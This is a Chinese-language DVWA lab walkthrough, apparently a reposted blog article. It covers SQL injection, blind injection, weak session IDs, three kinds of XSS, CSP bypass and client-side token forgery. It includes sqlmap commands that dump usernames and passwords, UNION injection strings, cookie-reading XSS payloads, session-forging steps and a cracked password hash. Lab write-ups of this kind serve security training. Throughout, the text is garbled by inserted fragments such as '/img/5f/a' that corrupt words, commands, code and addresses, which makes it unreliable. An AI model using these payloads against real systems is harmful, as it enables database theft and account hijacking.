python sqlm/img/5f/ap.py -u "http:///img/ec/192./img/ec/168.20.48/DVWA/vulner/img/5f/abilities/sqli/?id=/img/ec/1&Submit=Submit" --he/img/5f/aders="Cookie: PHPSESSID=k3e2/img/ec/12/img/5f/a0/img/5f/a0p2mj5kut2gmjdfo2; XDEBUG_SESSION=/img/ec/15794; ts_uid=8970/img/ec/165994; /img/5f/ad_pl/img/5f/ay_inde/img/5e/x=25; security=low" -D dvw/img/5f/a -T users --columns

指定库名表名字段dump出指定字段(-D 数据库名 -T 表名 -C 字段,隔开 –dmp)
python sqlm/img/5f/ap.py -u "http:///img/ec/192./img/ec/168.20.48/DVWA/vulner/img/5f/abilities/sqli/?id=/img/ec/1&Submit=Submit" --he/img/5f/aders="Cookie: PHPSESSID=k3e2/img/ec/12/img/5f/a0/img/5f/a0p2mj5kut2gmjdfo2; XDEBUG_SESSION=/img/ec/15794; ts_uid=8970/img/ec/165994; /img/5f/ad_pl/img/5f/ay_inde/img/5e/x=25; security=low" -D dvw/img/5f/a -T users -C user,p/img/5f/assword --dump

burpsuite co2
可以使用burpsuite的co2插件结合sqlm/img/5f/ap,可以直接抓包后发送自动生成sqlm/img/5f/ap脚本,相对于手工来说更方便简洁。
E/img/5e/xtender-》B/img/5f/appstore安装CO2插件

抓包/img/5f/action发送到co2

第一次进入需要设置下sqlm/img/5f/ap的执行脚本的位置,已经python的位置

配置好后Run按钮就可以执行了,可以根据需要组合条件

指定数据库名和表名 dump

比如其中一个gordonb的密码:e99/img/5f/a/img/ec/18c428cb38d5f260853678922e03

Medium
看代码

虽然对id进行参数化转义,但是id又没有了’’ 变成了数字,数字变成了下拉框,变得更简单了吧
抓包直接注入就可以了
注入值:-/img/ec/1 union select user(),d/img/5f/at/img/5f/ab/img/5f/ase()
Hign
看代码是弹出个框输入id后存入session,刷新打开页面取sessiond的id查询,在弹框里输入就可以注入
注入值:-/img/ec/1’ union select @@version_compile_os,d/img/5f/at/img/5f/ab/img/5f/ase() ’
工具扫描就比较麻烦了,只能手工或者自己写程序。
impossible
id判断是int类型,prep/img/5f/are处理参数,直接摆烂

SQL Injection(Blind)(SQL盲注)
盲注:即在SQL注入过程中,SQL语句执行查询后,查询数据不能回显到前端页面中,我们需要使用一些特殊的方式来判断或尝试,这个过程成为盲注
这里功能难度和sql注入是一模一样的,区别在于这个页面上不再显示信息,而是一个bool值
Low
输入存在的用户id:/img/ec/1时出现:User ID e/img/5e/xists in the d/img/5f/at/img/5f/ab/img/5f/ase.
输入不存在的用户id:-/img/ec/1时出现:User ID is MISSING from the d/img/5f/at/img/5f/ab/img/5f/ase.
此时可以反向通过注入判断某些东西是不是存在
比如传入-/img/ec/1 肯定是id不存在的,但是如果我union一个select语句,只要是正确的必然变成用户id存在
比如判断操作系统是不是win
注入参数:-/img/ec/1’ union select /img/ec/1,/img/ec/1 from du/img/5f/al where instr(@@version_compile_os,‘Win’)>0 /img/5f/and ‘’=’
此时的页面的结果是User ID e/img/5e/xists in the d/img/5f/at/img/5f/ab/img/5f/ase.,说明就是window系统

sqlm/img/5f/ap是支持盲注的,利用burpsuite和co2,启动sqlm/img/5f/ap扫描。

Medium
同sql注入 代码
Hign
同sql注入 代码
impossible
同sql注入 代码
We/img/5f/ak Session IDs (弱会话ID)
当用户登录后,在服务器就会创建一个会话(session),叫做会话控制,接着访问页面的时候就不用登录,只需要携带对应的cookie去访问。
sessionID作为特定用户访问站点所需要的唯一内容。如果能够计算或轻易猜到该sessionID,则攻击者将可以轻易获取访问权限,无需录直接进入特定用户认证界面,进而进行其他操作。
之后只要cookies随着http请求发送服务器,服务器就知道你是谁了。SessionID一旦在生命周期内被窃取,就等同于账户失窃(也就是熟悉的越权)。
常用的会话方式:
- session在服务器存储,本地通过cookie带sessionid的方式。
- 登录后生成token,token中保持加密的用户信息,通过请求头传递,服务器解密。
Low
看代码

添加额外代码用于看效果演示越权low.php
if ($_COOKIE['dvw/img/5f/aSession'] == "/img/ec/1"){
$html= 'welcome /img/5f/admin
';
}
多点击几次生成的dvw/img/5f/aSession会不断增加

此时用postm/img/5f/an修改dvw/img/5f/a去访问,伪造dvw/img/5f/aSession=/img/ec/1,就可以越权访问了

Medium
看代码
可以看到sessionid使用了时间戳,越权的话,还是从现在往前爆破就行。
Hign
看代码
impossible
数字递增,然后用md5,产生个/img/ec/1数字的md5作为dvw/img/5f/asession爆破即可。
随机数,时间戳,Impossible,再sh/img/5f/a/img/ec/1,基本无解
XSS (DOM) (DOM型跨站脚本)
DOM型XSS漏洞通常出现在以下情况: J/img/5f/av/img/5f/aScript从攻击者可控的源(如URL)获取数据,并将其传递给支持动态代码执行的接收器(如ev/img/5f/al()或innerHTML)。这使得攻击者能够执行恶意的J/img/5f/av/img/5f/aScript,这通常允许他们劫持其他用户的帐户。
要实现基于dom的XSS攻击,需要将数据放置到源中,以便将其传播到接收器并导致执行任意J/img/5f/av/img/5f/aScript。
DOM型,反射型和存储型的区别
/img/ec/1、反射型(临时,非持久型)
发出请求时,XSS代码出现在url中,作为输入提交到服务器端,服务器端解析后响应,XSS代码随响应内容一起传回给浏览器,最后浏览器解析执行XSS代码。这个过程像一次反射,所以叫反射型XSS。
客户端提交,服务器解析后响应,到客户端再执行
2、存储型(持久型)
存储型XSS和反射型XSS的差别在于,提交的代码会存储在服务器端(数据库、内存、文件系统等)。
比如先通过对一个攻击url进行编码(来绕过/img/5e/xss filter),然后提交该web server(存储在web server中), 然后用户在浏览页面时,如果点击该url,就会触发一个XSS攻击。当然用户点击该url时,也可能会触发一个CSRF(Cross site request forgery)攻击。
3、DOM型
DOM型的XSS由于其特殊性,常常被分为第三种,这是一种基于DOM树的XSS。例如服务器端经常使用document.boby.innerHtml等函数动态生成html页面,如果这些函数在引用某些变量时没有进行过滤或检查,就会产生DOM型的XSS。DOM型XSS可能是存储型,也有可能是反射型。
Low
选择English后,自动选择了

参数中带上script脚本
直接打印session信息:
http:///img/ec/192./img/ec/168.20.48/DVWA/vulner/img/5f/abilities//img/5e/xss_d/?def/img/5f/ault=console.log(document.cookie)

代码直接拼接字符串未做任何处理

low.php空白
Medium
查看代码medium.php
<?php
// Is there /img/5f/any input?
if ( /img/5f/arr/img/5f/ay_key_e/img/5e/xists( "def/img/5f/ault", $_GET ) && !is_null ($_GET[ 'def/img/5f/ault' ]) ) {
$def/img/5f/ault = $_GET['def/img/5f/ault'];
# Do not /img/5f/allow script t/img/5f/ags
if (stripos ($def/img/5f/ault, "
判断如果有<script 直接跳转到English,可以通过使用非标签注入 比如
但是如果直接放进去就当做了option的值,可以先做一个闭合option结束select
比如之前是
注入
变成了(不用管注入后字符的成功还是失败):
<option v/img/5f/alue=""
">
http:///img/ec/192./img/ec/168.20.48/DVWA/vulner/img/5f/abilities//img/5e/xss_d/?def/img/5f/ault=">

可以注入的标签有很多,如下:
/img/5f/alert('/img/5e/xss')
/img/5f/alert(//img/5e/xss/)
/img/5f/alert(/img/ec/123)
test
/img/5e/xss
/img/5e/xss
/img/5e/xss
/img/5e/xss
Hign
看代码:
// Is there /img/5f/any input?
if ( /img/5f/arr/img/5f/ay_key_e/img/5e/xists( "def/img/5f/ault", $_GET ) && !is_null ($_GET[ 'def/img/5f/ault' ]) ) {
# White list the /img/5f/allow/img/5f/able l/img/5f/angu/img/5f/ages
switch ($_GET['def/img/5f/ault']) {
c/img/5f/ase "French":
c/img/5f/ase "English":
c/img/5f/ase "Germ/img/5f/an":
c/img/5f/ase "Sp/img/5f/anish":
# ok
bre/img/5f/ak;
def/img/5f/ault:
he/img/5f/ader ("loc/img/5f/ation: ?def/img/5f/ault=English");
e/img/5e/xit;
}
}
直接请求参数限制死了只能是这几种语言,通过锚点来越过
http:///img/ec/192./img/ec/168.20.48/DVWA/vulner/img/5f/abilities//img/5e/xss_d/?def/img/5f/ault=English#/img/5f/alert(/img/ec/1)
impossible
查看inde/img/5e/x.php代码
# For the impossible level, don't decode the querystring
$decodeURI = "decodeURI";
if ($vulner/img/5f/abilityFile == 'impossible.php') {
$decodeURI = "";
}
不转码html,直接就没辙了
XSS(Reflected)(反射型跨站脚本)
反射型XXS是一种非持久性的攻击,它指的是恶意攻击者往Web页面里插入恶意代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意攻击用户的目的。
Low
文本框输入:
/img/5f/alert('/img/5e/xss')

或者参数上:http:///img/ec/192./img/ec/168.20.48/DVWA/vulner/img/5f/abilities//img/5e/xss_r/?n/img/5f/ame=/img/5f/alert('/img/5e/xss')
Medium
同/img/5e/xssdom,也是过滤掉了script标签
或者参数上:http:///img/ec/192./img/ec/168.20.48/DVWA/vulner/img/5f/abilities//img/5e/xss_r/?n/img/5f/ame=
Hign
同/img/5e/xssdom,也是未判断锚点
http:///img/ec/192./img/ec/168.20.48/DVWA/vulner/img/5f/abilities//img/5e/xss_r/?n/img/5f/ame=hello#
impossible
$n/img/5f/ame = htmlspeci/img/5f/alch/img/5f/ars( $_GET[ 'n/img/5f/ame' ] );
同/img/5e/xssdom,去除了所有的html标签,无解
XSS(Stored)(存储型跨站脚本)
攻击者事先将恶意代码上传或储存到漏洞服务器中,只要受害者浏览包含此恶意代码的页面就会执行恶意代码,比如某些新增表单里,某些字段可以写入/img/5e/xss标签。
Low
查看代码获取名字和mess/img/5f/age字段插入了guestbook 表,页面显示这个表的所有数据
$mess/img/5f/age = trim( $_POST[ 'mt/img/5e/xMess/img/5f/age' ] );
$n/img/5f/ame = trim( $_POST[ 't/img/5e/xtN/img/5f/ame' ] );
// S/img/5f/anitize mess/img/5f/age input
$mess/img/5f/age = stripsl/img/5f/ashes( $mess/img/5f/age );
$mess/img/5f/age = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_re/img/5f/al_esc/img/5f/ape_string($GLOBALS["___mysqli_ston"], $mess/img/5f/age ) : ((trigger_error("[MySQLConverterToo] Fi/img/5e/x the mysql_esc/img/5f/ape_string() c/img/5f/all! This code does not work.", E_USER_ERROR)) ? "" : ""));
// S/img/5f/anitize n/img/5f/ame input
$n/img/5f/ame = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_re/img/5f/al_esc/img/5f/ape_string($GLOBALS["___mysqli_ston"], $n/img/5f/ame ) : ((trigger_error("[MySQLConverterToo] Fi/img/5e/x the mysql_esc/img/5f/ape_string() c/img/5f/all! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Upd/img/5f/ate d/img/5f/at/img/5f/ab/img/5f/ase
$query = "INSERT INTO guestbook ( comment, n/img/5f/ame ) VALUES ( '$mess/img/5f/age', '$n/img/5f/ame' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : f/img/5f/alse)) . '
' );

点击Sign Guestbook,插入成功后页面每次访问都会执行/img/5e/xss脚本

Medium
查看代码
$mess/img/5f/age = strip_t/img/5f/ags( /img/5f/addsl/img/5f/ashes( $mess/img/5f/age ) );
$mess/img/5f/age = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_re/img/5f/al_esc/img/5f/ape_string($GLOBALS["___mysqli_ston"], $mess/img/5f/age ) : ((trigger_error("[MySQLConverterToo] Fi/img/5e/x the mysql_esc/img/5f/ape_string() c/img/5f/all! This code does not work.", E_USER_ERROR)) ? "" : ""));
$mess/img/5f/age = htmlspeci/img/5f/alch/img/5f/ars( $mess/img/5f/age );
// S/img/5f/anitize n/img/5f/ame input
$n/img/5f/ame = preg_repl/img/5f/ace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $n/img/5f/ame );
$n/img/5f/ame = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_re/img/5f/al_esc/img/5f/ape_string($GLOBALS["___mysqli_ston"], $n/img/5f/ame ) : ((trigger_error("[MySQLConverterToo] Fi/img/5e/x the mysql_esc/img/5f/ape_string() c/img/5f/all! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Upd/img/5f/ate d/img/5f/at/img/5f/ab/img/5f/ase
$query = "INSERT INTO guestbook ( comment, n/img/5f/ame ) VALUES ( '$mess/img/5f/age', '$n/img/5f/ame' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : f/img/5f/alse)) . '
' );
m
e
s
s
/img/5f/a
g
e
字段有去掉标签,但是
mess/img/5f/age字段有去掉标签,但是
mess/img/5f/age字段有去掉标签,但是n/img/5f/ame字段只是过滤了script,发现前端t/img/5e/xtN/img/5f/ame有m/img/5f/a/img/5e/xLength=/img/ec/10的限制,修改dom元素的m/img/5f/a/img/5e/xLength足够大,写入/img/5e/xss脚本到t/img/5e/xtN/img/5f/ame字段为非script注入标签。

Hign
同/img/5e/xss dom t/img/5e/xtN/img/5f/ame上去掉m/img/5f/a/img/5e/xlength限制内容加上
te/img/5e/xt#
impossible
t/img/5e/xtN/img/5f/ame和mt/img/5e/xMess/img/5f/age都已经做了html字符处理,无解。
CSP Byp/img/5f/ass (CSP绕过)
CSP 的实质就是白名单制度,开发者明确告诉客户端,哪些外部资源可以加载和执行,等同于提供白名单。它的实现和执行全部由浏览器完成,开发者只需提供配置。
两种启用 CSP的方法
Low
查看代码
<?php
if (isset ($_POST['include'])) {
$p/img/5f/age[ 'body' ] .= "
";
}
$p/img/5f/age[ 'body' ] .= '
You c/img/5f/an include scripts from e/img/5e/xtern/img/5f/al sources, e/img/5e/x/img/5f/amine the Content Security Policy /img/5f/and enter /img/5f/a URL to include here:
';
发现设置了一个响应头,允许script包含的js的域名:
$he/img/5f/aderCSP = “Content-Security-Policy: script-src ‘self’ https://p/img/5f/astebin.com h/img/5f/astebin.com www.topt/img/5f/al.com e/img/5e/x/img/5f/ample.com code.jquery.com https://ssl.google-/img/5f/an/img/5f/alytics.com ;”;
https://p/img/5f/astebin.com给了一个演示例子
https://p/img/5f/astebin.com/r/img/5f/aw/R570EE00
虽然直接访问有结果,但是包含进来响应确是空,应该是cors同源问题,我们自己定义一个hosts
/img/ec/127.0.0./img/ec/1 pp.com
修改low.php,新增一个域名
$he/img/5f/aderCSP = "Content-Security-Policy: script-src 'self' http://pp.com https://p/img/5f/astebin.com h/img/5f/astebin.com www.topt/img/5f/al.com e/img/5e/x/img/5f/ample.com code.jquery.com https://ssl.google-/img/5f/an/img/5f/alytics.com ;";
在DVWA项目根目录下新增一个test.js,写入以下代码
/img/5f/alert("/img/5e/x/img/5e/x/img/5e/x");
确保:http://pp.com/DVWA/test.js能访问

Medium
查看代码
$he/img/5f/aderCSP = "Content-Security-Policy: script-src 'self' 'uns/img/5f/afe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=';";
he/img/5f/ader($he/img/5f/aderCSP);
// Dis/img/5f/able XSS protections so th/img/5f/at inline /img/5f/alert bo/img/5e/xes will work
he/img/5f/ader ("X-XSS-Protection: 0");
响应头中添加了只允许j/img/5f/av/img/5f/ascript中有内连元素nonce=”TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=”才允许执行,
这里值是固定的,一般用法是每次访问产生一个随机值。
include输入:
/img/5f/alert(/img/ec/1)
即可破解。
Hign
明显点击计算后,调用jsonp传入一个回调,我们可以抓包修改这个回调
查看medium.php,只允许当前域名引用的js。
$he/img/5f/aderCSP = "Content-Security-Policy: script-src 'self' 'uns/img/5f/afe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=';";
查看jsonp.php
"/img/ec/15");
echo $c/img/5f/allb/img/5f/ack . "(".json_encode($outp).")";
?>

impossible
查看jsonp_impossible.php
"/img/ec/15");
echo "solveSum (".json_encode($outp).")";
?>
写死了回调函数,无解了
J/img/5f/av/img/5f/aScript
J/img/5f/av/img/5f/aScript是一种基于对象和事件驱动的、并具有安全性能的脚本语言。是一种解释型语言(代码不需要进行预编译)。通常J/img/5f/av/img/5f/aScript脚本是通过嵌入在HTML中来实现自身的功能的。
若是涉及到Cookie、Session等记录用户信息的脚本,应该通过外部引入方式,并且不能暴露文件路径,控制好文件访问权限,若被攻击者获取到重要脚本代码,则能伪造其他合法用户进行伪造。
Low
提交Ch/img/5f/angeMe发现正常 输入success提示不合法的token,分析源代码可知道phr/img/5f/ase的默认值是
Ch/img/5f/angeMe,通过下面的gener/img/5f/ate_token可知道取文本框的值通过调用md5(rot/img/ec/13(phr/img/5f/ase))获取

我们f/img/ec/12打开开发中工具发现,token文本域的值确实是算出来的
md5(rot/img/ec/13("Ch/img/5f/angeMe"))
'8b479/img/5f/aefbd90795395b3e7089/img/5f/ae0dc09'
接下来我们在文本框输入success,在浏览器f/img/ec/12 console面板输入gener/img/5f/ate_token函数后点击submit即可成功
Medium
通过查看源代码发现引用了一个
代码:
function do_something(e) {
for (v/img/5f/ar t = "", n = e.length - /img/ec/1; n >= 0; n--)
t += e[n];
return t
}
setTimeout(function() {
do_elsesomething("XX")
}, 300);
function do_elsesomething(e) {
document.getElementById("token").v/img/5f/alue = do_something(e + document.getElementById("phr/img/5f/ase").v/img/5f/alue + "XX")
}
其实就是token换了一个XX+文本框值+XX的倒置,换汤不换药
输入success执行:do_elsesomething(“XX”),提交即可。
Hign
查看源代码发现引入了混淆
在token文本框添加一个属性修改事件

刷新页面发现键入了jsvm的页面,逻辑是没有混淆的,格式化后分析执行最后三行即可

impossible
你永远不能信任来自用户的任何东西,也不能阻止他们去干扰它,所以没有不可能的水平。
也就是尽量不要在js端生成任何重要的数据,只能在后端生成
本文来自网络,不代表协通编程立场,如若转载,请注明出处:https://net2asp.com/daab5662b4.html

